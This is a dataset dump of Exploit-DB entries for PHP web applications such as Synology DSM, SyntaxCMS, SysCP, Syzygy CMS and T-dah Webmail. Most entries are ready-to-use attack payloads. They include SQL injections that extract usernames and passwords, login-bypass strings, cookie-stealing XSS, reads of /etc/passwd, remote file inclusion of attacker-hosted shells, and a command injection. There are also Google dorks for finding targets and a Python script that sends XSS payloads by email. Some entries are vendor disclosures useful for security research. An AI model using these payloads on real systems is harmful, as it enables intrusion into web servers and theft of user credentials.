deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32274
Description: Synology DSM 4.3-3827 - 'article.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2014-03-14
Author: Michael Wisniewski

Exploit:
~~~~~~
Title: Synology DSM Blind SQL Injection
Version affected: <= 4.3-3827
Vendor: Synology
Discovered by: Michael Wisniewski
Status: Patched
~~~~~~

The file "/photo/include/blog/article.php" contains a Blind SQL
Injection Vulnerability in the 'value' variable in the URL.

The vendor was contacted approximately 2 weeks ago.  They reviewed the
information and determined that it is vulnerable and a patch has been
released.  The DSM5 official release contains this patch, which was
released earlier this week.  An update for DSM4.x will be released
later this month to address this issue in the 4.x line.  The vendor
also stated that it will be fixed in the next Photo Station hotfix for
the 4.x line.

Work-around: If you don't use the blog, just rename the file.

~~~~~~
POST /photo/include/blog/article.php HTTP/1.1
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: <ip>:80/ <http://10.0.1.15:80/>
Cookie: PHPSESSID=<foo>; visit_day=<foo>
Host: <foo>
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*

list_type=label&value=1%20AND%203*2*1%3d6%20AND%20812%3d812
~~~~~~

It responds with:

All posts without a label
Synology Blog
2008-01-01 00:00:00 Published by:Synology Blog

~~~~~~

Timeline:
- 3/1/14: Contacted Vendor with Details of Vulnerability and Exploit.
- 3/2/14: Vendor responded with 'they are investigating'.
- 3/4/14: Vendor responded with it being fixed in DSM5 and DSM4.x (4.x
patched later in the month)
- 3/10/14: DSM5 Released
- 3/10/14: Contacted Vendor Final Time to make sure it's OK to release the
information.
Exploit-DB #36944
Description: Synology Photo Station 5 DSM 3.2 - 'photo_one.php' Script Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-12
Author: Simon Ganiere

Exploit:
source: https://www.securityfocus.com/bid/52416/info

Synology Photo Station is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Photo Station 5 DSM 3.2 (1955) is vulnerable; other versions may also be affected. 

http://www.example.com/photo/photo_one.php?name=494d475f[PII_REDACTED]3730395f[PII_REDACTED]362e6a7067&dir=6970686f6e[PII_REDACTED]6c69707065&name=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%38%38%2c%38%33%2c%38%33%29%29%3c%2f%73%63%72%69%70%74%3e

http://www.example.com/photo/photo_one.php?name=494d475f[PII_REDACTED]3730395f[PII_REDACTED]362e6a7067&dir=6970686f6e[PII_REDACTED]6c69707065&name=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e%3c%61%20%68%72%65%66%3d%22
Exploit-DB #7977
Description: Syntax Desktop 2.7 - 'synTarget' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-02-04
Author: ahmadbady

Exploit:
  -----------------:local File Include:-----------------
  -------------------------------------------------------
script: syntax-desktop 2-7
   
------------------------------------------------------------------
download from:http://downloads.sourceforge.net/syntax-desktop/syntax-desktop-2-7.zip?modtime=[PII_REDACTED]&big_mirror=0
   
   
------------------------------------------------------------------
........................................................
vul: /admin/modules/aa/preview.php

line 42 $target=$_GET["synTarget"];
  ob_start();
line 44 include("../../../$target");

-----------------------------------------------------
-----------------------------------------------------

xpl:

http://127.0.0.1/path/admin/modules/aa/preview.php?synTarget=[Lfi]%00


***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady [kivi_hacker666@yahoo.com]
---------------------------------------------------

# milw0rm.com [2009-02-04]
Exploit-DB #34503
Description: Syntax Highlighter 3.0.83 - 'index.html' HTML Injection
Type: webapps
Platform: php
Date: 2010-08-19
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/42572/info

Syntax Highlighter is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Syntax Highlighter version 3.0.83 is vulnerable; others may also be affected.

Inject the code ">"">>>><script>location="http://www.alkrsan.net"</script>""""> in index.html
Exploit-DB #34464
Description: SyntaxCMS - 'rows_per_page' SQL Injection
Type: webapps
Platform: php
Date: 2010-08-10
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42436/info

SyntaxCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SyntaxCMS 1.3 is vulnerable; prior versions may also be affected. 

http://www.example.com/content/general/browse/?x=37&y=15&rows_per_page=10+ANY_SQL+--+&page=2
Exploit-DB #26968
Description: SyntaxCMS - Search Query Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16033/info

SyntaxCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

/search/?search_query=[XSS]
Exploit-DB #2424
Description: SyntaxCMS 1.3 - '0004_init_urls.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-24
Author: MoHaJaLi

Exploit:
Remote File Include in syntaxCMS

Vulnerable File:
0004_init_urls.php

Vulnerable Code:

   1  <?php

   2  include_once( $init_path . '/init.urls.php' );

   3  ?>

PoC:
http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004_init_urls.php?init_path=http://YourShell?&

Solution:

Remove This File...it's not needed...just used for tests

Found by MoHaJaLi

Greetz to Eddy_BAck0o

# milw0rm.com [2006-09-24]
Exploit-DB #23330
Description: Synthetic Reality SymPoll 1.5 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-11-03
Author: Michael Frame

Exploit:
source: https://www.securityfocus.com/bid/8956/info

It has been reported that Sympoll is prone to a cross-site scripting vulnerability. The issue is reported to exist due insufficient sanitization of user-supplied data through the 'vo' parameter. The problem may allow a remote attacker to execute HTML or script code in the browser of a user following a malicious link created by an attacker.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication information that could be used to launch further attacks.

Sympoll version 1.5 is reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com/index.php?vo="><script>alert(document.cookie);</script>
Exploit-DB #29571
Description: SYSCP 1.2.15 - System Control Panel CronJob Arbitrary Code Execution
Type: webapps
Platform: php
Date: 2007-02-07
Author: Daniel Schulte

Exploit:
source: https://www.securityfocus.com/bid/22453/info

SysCP is prone to an arbitrary code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary commands with superuser privileges, resulting in the compromise of the computer.

NOTE: To exploit this issue, an attacker must have authenticated access to a customer control panel. 

"; cp /var/www/syscp/lib/userdata.inc.php /var/[user]/webs/web1/; ls "
Exploit-DB #26103
Description: SysCP 1.2.x - Multiple Script Execution Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-08
Author: Christopher Kunz

Exploit:
source: https://www.securityfocus.com/bid/14490/info

SysCP is affected by multiple script execution vulnerabilities.

The following specific vulnerabilities were identified:

The application is affected by a remote file include vulnerability. An attacker can include remote script code and execute it in the context of an affected server.

Another script code execution vulnerability may allow an attacker to call arbitrary functions and scripts by bypassing a PHP eval() statement.

SysCP 1.2.10 and prior versions are prone to these vulnerabilities.

The following string is sufficient to bypass the eval() call:
{${phpinfo();}}
Exploit-DB #31000
Description: SysHotel On Line System - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-01-08
Author: p4imi0

Exploit:
source: https://www.securityfocus.com/bid/27184/info

SysHotel On Line System is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks. 

http://www.example.com/index.php?file==%2Fetc%2Fpasswd
Exploit-DB #34226
Description: System CMS Contentia - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-30
Author: GlaDiaT0R

Exploit:
source: https://www.securityfocus.com/bid/41248/info

System CMS Contentia is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/news.php?id=[SQLi]
Exploit-DB #14985
Description: System Shop - 'Module aktka' SQL Injection
Type: webapps
Platform: php
Date: 2010-09-12
Author: secret

Exploit:
  _____ ______ _____ _____  ______ _______ 
 / ____|  ____/ ____|  __ \|  ____|__   __|
| (___ | |__ | |    | |__) | |__     | |   
 \___ \|  __|| |    |  _  /|  __|    | |   
 ____) | |___| |____| | \ \| |____   | |   
|_____/|______\_____|_|  \_\______|  |_|   
                                           
                                           
# Exploit Title: System Shop SQL Injection - Module aktkat=
# Date: 12.09.2010
# Author: secret
# Software Link: www.system-shop.at
# Version: latest version
# Tested on: XP / Linux

#Dorks : inurl:"aktkat"  / "Powered by System Shop" / "System Shop" site:at

SQL Injection : 
===========================================================================================  

Simple Error Based / Normal SQL Injection in "aktkat="

e.g. http://server/kn.php?aktkat=16 [SQL INJECTION] / columns vary..

NOT FIXED - 12.09.2010

--------------------------------------------------------------------------------

Greetz to all brothers & sisters who are fighting for freedom in IRAN...

خدا شما کمک خواهد کرد

contact : secret_hf@hotmail.com
Exploit-DB #30501
Description: Systeme de vote pour site Web 1.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-07-09
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/25335/info

'Systeme de vote pour site Web' is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

'Systeme de vote pour site Web' 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/depouilg.php3?NomVote=http://www.example2.com/evilscript?
http://www.example.com/depouilg.php3?FilePalHex=http://www.example2.com/evilscript?
Exploit-DB #11715
Description: systemsoftware Community Black - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-13
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : systemsoftware Community Black index.php SQL Injection
+Autor : Easy Laster
+Date   : 13.03.2010
+Script  : systemsoftware Community Black
+Download : ----------------
+Price : 129.00 €
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/community/index.php?d=list1&q=&kat=1&s_flaeche=

+Exploitable   : http://www.site.com/community/index.php?d=list1&q=&kat=1&s_flaeche=
-9999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,concat(username
,0x3a,passwort,0x3a,email),21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40
,41,42,43+from+user+where+id=1--

-----------------------------------------------------------------------------------------
Exploit-DB #7759
Description: Syzygy CMS 0.3 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-14
Author: darkjoker

Exploit:
--+++=========================================================================+++--
--+++====== Syzygy CMS <= 0.3 (Auth Bypass) SQL Injection Vulnerability ======+++--
--+++=========================================================================+++--

[+] Syzygy CMS <= 0.3 (Auth Bypass) SQL Injection Vulnerability
[+] Author : darkjoker
[+] Site   : http://darkjoker.net23.net
[+] Greetz : my girlfriend, Vivi
[+] File   : login.php

[+] Code:
    17  $username=$_POST['username'];
    18  $password=md5($_POST['password']);
    19  $current_login=mysql_query("SELECT * FROM ".$mysql_prefix."users WHERE username='".$username."' AND password='".$password."'");
    20
    21  if (mysql_num_rows($current_login)==0)
    22  {
    23          header("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/"."index.php?page=invalid.php");
    24  } else {
    25		$current_user=mysql_fetch_array($current_login, MYSQL_ASSOC);
    26		$_SESSION['user']=$current_user['username'];
    27		$_SESSION['perms']=$current_user['perms'];
    28 		$style_query=mysql_query("SELECT filename FROM ".$mysql_prefix."layout_style WHERE id='".$current_user['style']."'");
    29		$style_info=mysql_fetch_array($style_query,MYSQL_ASSOC);
    30 		$_SESSION['style']=$style_info['filename'];
    31		header("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/"."index.php");
    32  }

[+] Username: x' OR 'x' = 'x'#
[+] [CREDENTIAL_REDACTED]

# milw0rm.com [2009-01-14]
Exploit-DB #6200
Description: syzygyCMS 0.3 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-08-03
Author: SirGod

Exploit:
######################################
[+] syzygyCMS 0.3 Local File Inclusion    
[+] Discovered By SirGod                           
[+] www.mortal-team.com                           
[+] Greetz : E.M.I.N.E.M, Ras ,Puscas_marin
[+] also ToxicBlood,MesSiAH,xZu
######################################

Example :

http://localhost/x/index.php?page=../../../autoexec.bat

This will open autoexec.bat .

###########################################

# milw0rm.com [2008-08-03]
Exploit-DB #34598
Description: SZNews 2.7 - 'printnews.php3' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-09-11
Author: kurdish hackers team

Exploit:
source: https://www.securityfocus.com/bid/42974/info

SZNews is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

SZNews 2.7 is vulnerable; other versions may also be affected. 

http://www.example.com/path/printnews.php3?id=[shell.txt?]
Exploit-DB #27156
Description: SZUserMgnt 1.4 - 'Username' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-01
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16454/info

SZUserMgnt is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/szusermgnt/www/login.php
Username: ' or 1/*
Password: any
Exploit-DB #15588
Description: S_CMS 2.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-20
Author: LordTittiS

Exploit:
# ============================================================
# Exploit Title: S-CMS Multiple Vuln
# Date: 14/11/2010
# Author: LordTittiS
# Greetings To: God_Of_Pain, System_Overide
# Software Link: http://www.matteoiammarrone.com
# http://www.matteoiammarrone.com/public/s-cms/
# Vulnerability Type: Full Path Disclosure / SQL Injection / Cross Site Scripting
# Version: 2.5
# =========================================================== 
-Vulnerability Details:The vulnerability is in the file search.php, the variable search_app is vulnerable.An attacker can exploit this to find out the rootpath of website or for SQLi attack. -Google Dork: inurl:viewforum.php?id= S-Cms
-Exploit: 
http://server/s-cms/viewforum.php?id='1 (FPD)

http://server/s-cms/viewforum.php?id=1+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7+from+cms_users-- (SQLi)
http://server/s-cms/viewforum.php?id='1%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E (XSS)
Exploit-DB #16127
Description: T-Content Managment System - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-07
Author: Daniel Godoy

Exploit:
# Exploit Title: T-Content Managment Multiple Vulnerability
# Date: 06/02/2011
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software: http://www.telematica.com.ar/tcms.asp
# http://www.telematica.com.ar/portfolio.asp
# Tested on: Linux
 
[Comment]
Agradezco a mis amigos: Hernan Jais, Alfonso Cuevas, Lisandro
Lezaeta, Nicolas Montanaro, Inyexion, Login-Root, KikoArg, Ricota,
Xarnuz, Truenex, TsunamiBoom, _tty0, Big, Sunplace, Killerboy,Erick
Jordan,Animacco ,
yojota, Pablin77, SPEED, Knet, Cereal, Yago, Rash, MagnoBalt, El
Rodrix, l0ve, NetT0xic,
Gusan0r, Sabertrail, Maxi Soler. Darioxchx,r0dr1,Zer0-Zo0rg
 
  
[Authentication Bypass]

http://path/admin/

user: admin' or 1=1--
pass: ' or 1=1--

or

user: admin
pass: ' or 1=1--

[Authentication Byppas 2]

edit images :
http://path/admin/galerias/admin_fotos.php?id_tipo=0&id_relacionado=0&nombre=Novedades
edit content:
http://path/admin/admin/novedades/inc_listado.php?orden=titulo

[SQL Injection]

http://path/notaevento.php?id_novedad=-1+UNION+SELECT+1,2,3,4+from+admin--
Exploit-DB #20579
Description: T-dah Webmail Client - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-17
Author: Shai rod

Exploit:
#!/usr/bin/python

'''

# Exploit Title: T-dah Webmail Multiple Stored XSS issues.
# Date: 17/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://tdah.us/
# Software Link: http://sourceforge.net/projects/t-dahmail/files/latest/download?utm_expid=6384-3&utm_referrer=http%3A%2F%2Fsourceforge.net%2Fprojects%2Ft-dahmail%2F
# Version: 3.2.0
 
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar

About the Application:
======================

T-dah is an Open Sourced Universal Webmail origially developed by Aldoir Ventura under the name Uebimiau in which we picked up late in 2007.
It is free and can be installed on any server that supports PHP.


Vulnerability Description
=========================

1. XSS In message body (HREF)

Send an email to the victim with the payload in the e-mail body.
XSS Will be triggered when the user clicks the link.

XSS Payload: <a href=javascript:alert("XSS")>Click Me</a>

2. Stored XSS in email body (Previously Discovered by loneferret - http://www.exploit-db.com/exploits/20364/).

XSS Payload: <img src='1.jpg'onerror=javascript:alert("XSS")>

Send an email to the victim with the payload in the email body, once the user opens the message XSS should be triggered.


3. Stored XSS contacts.

Another stored XSS can be triggered when crating a new contact, almost every field in the form is vulnerable
for example you can inject your payload <img src='1.jpg'onerror=javascript:alert("XSS")> in the "Name" field, Save contact, XSS Shoud be triggerd.

4. Stored XSS in Calendar

Add a new event to calendar and in the message field insert the javascript payload: <img src='1.jpg'onerror=javascript:alert("XSS")>
Save the event, XSS Should be truggered.


'''

import smtplib

print "###############################################"
print "#      T-dah Webmail 3.2.0 Stored XSS POC     #"
print "#            Coded by: Shai rod               #"
print "#               @NightRang3r                  #"
print "#           http://exploit.co.il              #"
print "#       For Educational Purposes Only!        #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_[CREDENTIAL_REDACTED]"
recipient = "victim@localhost"
smtp_server  = "192.168.1.10"
smtp_port = 25
subject = "T-dah Webmail XSS POC"

# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
       % (sender, ", ".join(recipient), subject) )
msg += "Content-type: text/html\n\n"
msg += """<img src='1.jpg'onerror=javascript:alert("XSS-1")>\r\n"""
msg += """<a href=javascript:alert("XSS-2")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"